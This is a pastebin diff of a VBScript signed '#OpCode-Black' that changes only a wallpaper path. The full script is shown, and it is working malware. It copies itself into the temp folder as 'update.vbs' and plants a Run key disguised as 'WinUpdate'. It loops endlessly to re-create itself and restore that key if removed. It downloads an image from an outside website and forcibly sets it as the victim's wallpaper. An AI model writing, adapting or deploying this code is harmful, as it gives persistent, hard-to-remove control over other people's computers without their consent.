View difference between Paste ID: NMTXF5rz and EbLfUZYk

 '#OpCode-Black Created By XXX. 2/17/2012
 on error resume next
 main()
 Set obj1 = createobject("scripting.filesystemobject")
 obj2 = obj1.getspecialfolder(2)
 obj3 = obj2 & "\update.vbs"
 Set obj4 = createobject("wscript.shell")
 obj4.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & obj3 & " %"
 obj1.copyfile wscript.scriptfullname, obj3
 Set obj5= obj1.opentextfile(wscript.scriptfullname)
 obj6 = obj5.readall
 obj5.close
 Do
 if not(obj1.fileexists(wscript.scriptfullname)) then
 set obj7= obj1.createtextfile(wscript.scriptfullname)
 obj7.write obj6
 obj7.close
 end if
 obj8 = obj4.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate")
 If obj8 <> "wscript.exe " & obj3 & " %" then
 obj4.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & obj3 & " %"
 end if
 obj8= ""
 loop
 
 function main()
 initial()
 ' Network and local locations for the wallpaper file.
 ' Must be BMP for the screen refresh to work
-Const WALLPAPER_SOURCE = "j:\img.bmp"
+Const WALLPAPER_SOURCE = "c:\img.bmp"
 
 
 ' Copies and sets the client wallpaper
 
 Const REG_HKCU = &H80000001
 
 Dim objShell, objFileSystem, objFile, objRegistry
 Dim strWallpaperDestination, strKeyPath, strCommand
 
 ' Get the current user profile so we can copy the wallpaper there.
 Set objShell = CreateObject("WScript.Shell")
 strWallpaperDestination = objShell.ExpandEnvironmentStrings("%USERPROFILE%")
 
 ' Get the wallpaper file from the source
 Set objFileSystem = CreateObject("Scripting.FileSystemObject")
 Set objFile = objFileSystem.GetFile(WALLPAPER_SOURCE)
 
 ' Update the destination path to include the file name
 strWallpaperDestination = strWallpaperDestination & "\" & objFile.Name
 objFile.Copy strWallpaperDestination, True
 Set objFileSystem = Nothing
 
 ' Connect to the Registry on the local machine
 Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv")
 
 ' Set the values for the Wallpaper
 strKeyPath = "Control Panel\Desktop"
 objRegistry.SetStringValue REG_HKCU, strKeyPath, "Wallpaper", _
 strWallpaperDestination
 
 ' Set the Position to Stretch
 objRegistry.SetStringValue REG_HKCU, strKeyPath, "TileWallpaper", "0"
 objRegistry.SetStringValue REG_HKCU, strKeyPath, "WallpaperStyle", "2"
 Set objRegistry = Nothing
 
 ' Update the system settings (refresh)
 strCommand = "RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters"
 objShell.Run strCommand, 1, True
 Set objShell = Nothing
 end function
 
 function initial()
 dim surl,slocal,oxmlhttp,ostream
 
 surl="http://www.nuovaresistenza.org/wp-content/uploads/2011/01/Immagine2.bmp"
 slocal="j:\img.bmp"
 
 on error resume next
 set oxmlhttp=createobject("msxml2.xmlhttp")
 if err.number<>0 then
 
 wscript.quit(1)
 end if
 with oxmlhttp
 .open "get",surl,false
 .send
 end with
 if err.number<>0 then
 set oxmlhttp=nothing : wscript.quit(2)
 end if
 
 set ostream = createobject("adodb.stream")
 with ostream
 .type=1 'binary
 .mode=3 'read-write
 .open
 .write oxmlhttp.responsebody
 .savetofile slocal,2 'save-create-overwrite
 .close
 end with
 if err.number<>0 then
 
 else
 
 end if
 on error goto 0
 set ostream=nothing : set oxmlhttp=nothing
 End function